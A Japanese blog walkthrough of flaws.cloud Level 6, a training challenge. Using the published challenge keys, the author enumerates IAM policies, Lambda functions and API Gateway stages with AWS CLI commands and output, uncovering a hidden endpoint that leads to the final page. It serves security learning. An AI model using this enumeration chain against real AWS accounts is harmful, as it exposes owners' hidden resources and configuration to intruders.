flaws.cloudでAWS環境にSSRF攻撃をやってみた Level 6
この記事は下記のブログの続きです! 過去の記事でおこなった手順は省略してますのでご注意ください。
まだ、このシリーズの読んでいなければ先にLevel 1の記事をご覧ください。
※この記事はflaws.cloudのやり方が載ってます。今後flaws.cloudにチャレンジ予定の方はネタバレになってしまいます。
Level 6
トップページはこんな感じです。
「For this final challenge, you're getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account. 」
Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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
SecurityAuditポリシーが関連付けられたユーザーアクセスキーを取得しています。他に何ができるか、このAWSアカウントで他に何が見つかるかを確認してください。
今回の問題はAWSアカウントの情報はすでに持っていて、そこからほかに何ができるかを探っていく感じのようです。
とりあえず進めてみる
まずは、トップページにあったAWSアカウント情報をaws configure
コマンドでプロファイルの登録をおこないます。
$ aws configure --profile flaws6 AWS Access Key ID [None]: AKIAJFQ6E7BY57Q3OBGA AWS Secret Access Key [None]: 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 Default region name [None]: us-west-2 Default output format [None]:
先ほど作成したflaws6
プロファイルを使い、aws iam get-user
コマンドでIAMの情報を取得します。
$ aws iam get-user --profile flaws6 { "User": { "Path": "/", "UserName": "Level6", "UserId": "AIDAIRMDOSCWGLCDWOG6A", "Arn": "arn:aws:iam::975426262029:user/Level6", "CreateDate": "2017-02-26T23:11:16Z" } }
ユーザ名がLevel6
であることがわかりました。
次にやることは、IAMユーザLevel6
に関連付けられているポリシーをaws iam list-attached-user-policies
コマンドで確認します。
$ aws iam list-attached-user-policies --user-name Level6 --profile flaws6 { "AttachedPolicies": [ { "PolicyName": "list_apigateways", "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways" }, { "PolicyName": "MySecurityAudit", "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit" } ] }
IAMユーザLevel6
にはlist_apigateways
とMySecurityAudit
、2つのポリシーがアタッチされていることがわかりました。
MySecurityAudit
につきましては、以下のAWSデフォルトポリシーを利用していそうです。
list_apigateways
につきましては、おそらくこのアカウント内で作られたオリジナルのポリシーかと思います。
先ほど実行したコマンドでPolicyArn
がわかっていますので、aws iam get-policy
コマンドの--policy-arn
オプションを利用して、さらに詳細な情報を見てみます。
$ aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile flaws6 { "Policy": { "PolicyName": "list_apigateways", "PolicyId": "ANPAIRLWTQMGKCSPGTAIO", "Arn": "arn:aws:iam::975426262029:policy/list_apigateways", "Path": "/", "DefaultVersionId": "v4", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "List apigateways", "CreateDate": "2017-02-20T01:45:17Z", "UpdateDate": "2017-02-20T01:48:17Z" } }
DefaultVersionId
がv4
とコマンド実行結果で帰ってきてますので、
こちらのバージョンIDのものが実際に適応されているポリシーかと思います。
aws iam get-policy-version
コマンドを利用してポリシーの中身を確認してみます。
$ aws iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4 --profile flaws6 { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Action": [ "apigateway:GET" ], "Effect": "Allow", "Resource": "arn:aws:apigateway:us-west-2::/restapis/*" } ] }, "VersionId": "v4", "IsDefaultVersion": true, "CreateDate": "2017-02-20T01:48:17Z" } }
赤字の部分の記載の通り、arn:aws:apigateway:us-west-2::/restapis/*
からapigateway:GET
を呼び出せそうな感じがします。
ここまでわかればあとはAPIGatewayと紐ずくLambdaの情報を確認するため、aws lambda list-functions
コマンドで まずは、Lambdaの関数名を確認します。
$ aws lambda list-functions --profile flaws6 { "Functions": [ { "FunctionName": "Level6", "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6", "Runtime": "python2.7", "Role": "arn:aws:iam::975426262029:role/service-role/Level6", "Handler": "lambda_function.lambda_handler", "CodeSize": 282, "Description": "A starter AWS Lambda function.", "Timeout": 3, "MemorySize": 128, "LastModified": "2017-02-27T00:24:36.054+0000", "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89" } ] }
FunctionName
がLevel6
となっています。これでLambdaで利用されている関数名を判明しました。
次に確認するのは、関数に設定されたポリシーの内容です。こちらはaws lambda get-policy
コマンドで確認ができます。
$ aws lambda get-policy --function-name Level6 --profile flaws6 { "Policy": { "Version":"2012-10-17", "Id":"default", "Statement":[ { "Sid":"904610a93f593b76ad66ed6ed82c0a8b", "Effect":"Allow", "Principal":{ "Service":"apigateway.amazonaws.com" }, "Action":"lambda:InvokeFunction", "Resource":"arn:aws:lambda:us-west-2:975426262029:function:Level6", "Condition":{ "ArnLike":{ "AWS:SourceArn":"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6" } } } ] }", "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89" }
※こちら僕の方で見やすく整形しております。
赤字の部分にあるAWS:SourceArn
の値を見ると、
arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6
というARN情報が分かります。
このARNのs33ppypa75
はrestapi_id
かと思います。
仮にrestapi_id
だとしたら、API GatewayでREST APIを呼び出すに記載されているように以下のURLでブラウザアクセスが可能になります。
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/
Amazon API Gateway で REST API を呼び出す
現状、REST APIの呼び出しに必要な情報の内、手に入れていないの情報はstage_name
ですので、aws apigateway get-stages
コマンドのオプション--rest-api-id
でstage_name
を調べます。
$ aws apigateway get-stages --rest-api-id "s33ppypa75" --profile flaws6 { "item": [ { "deploymentId": "8gppiv", "stageName": "Prod", "cacheClusterEnabled": false, "cacheClusterStatus": "NOT_AVAILABLE", "methodSettings": {}, "tracingEnabled": false, "createdDate": 1488155168, "lastUpdatedDate": 1488155168 } ] }
どうやら、restapi_id
はs33ppypa75
でstage_name
はProd
でいけそうですね。
先程のURLに当てはめてみると以下のようになるかと思います。
以下のURLをブラウザアクセスしてみます。
https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
※ 一番最後のlevel6
はREST APIで呼び出すLambda関数名です。
アクセスしたWEB画面に以下のような記載があります。
Go to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/
指示通りにhttp://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/
へブラウザアクセスします。
The End
Congratulations on completing the flAWS challenge!
Send me some feedback at scott@summitroute.com
Tweet and tell your friends about it if you learned something from it.
flAWSチャレンジの完了おめでとうございます!と出ているのでLevel 6クリアです!
やってみた感想
セキュリティを意識して、
問題にあったSecurityAudit
ポリシーのような、読み取り専用権限をユーザーやロールに与えることがよくあるかと思います。
読み取り専用権限しか与えていないから大丈夫!と思っていたら、今回の問題のように自分のIAMポリシーやほかのIAMポリシーから情報を読み取られてしまいますね。
攻撃者は実際の環境に存在するこういった読み取り権限のIAMポリシーでどこまで内容を見れるのかを理解していると外に出していない情報を探せちゃいますね。
flaws.cloudはこの記事で完結となります。皆様も興味があればやってみてください。
flaws.cloudの続編である、
flaws.cloud2があります。そちらも記事にしています!
chikoblog.hatenablog.jp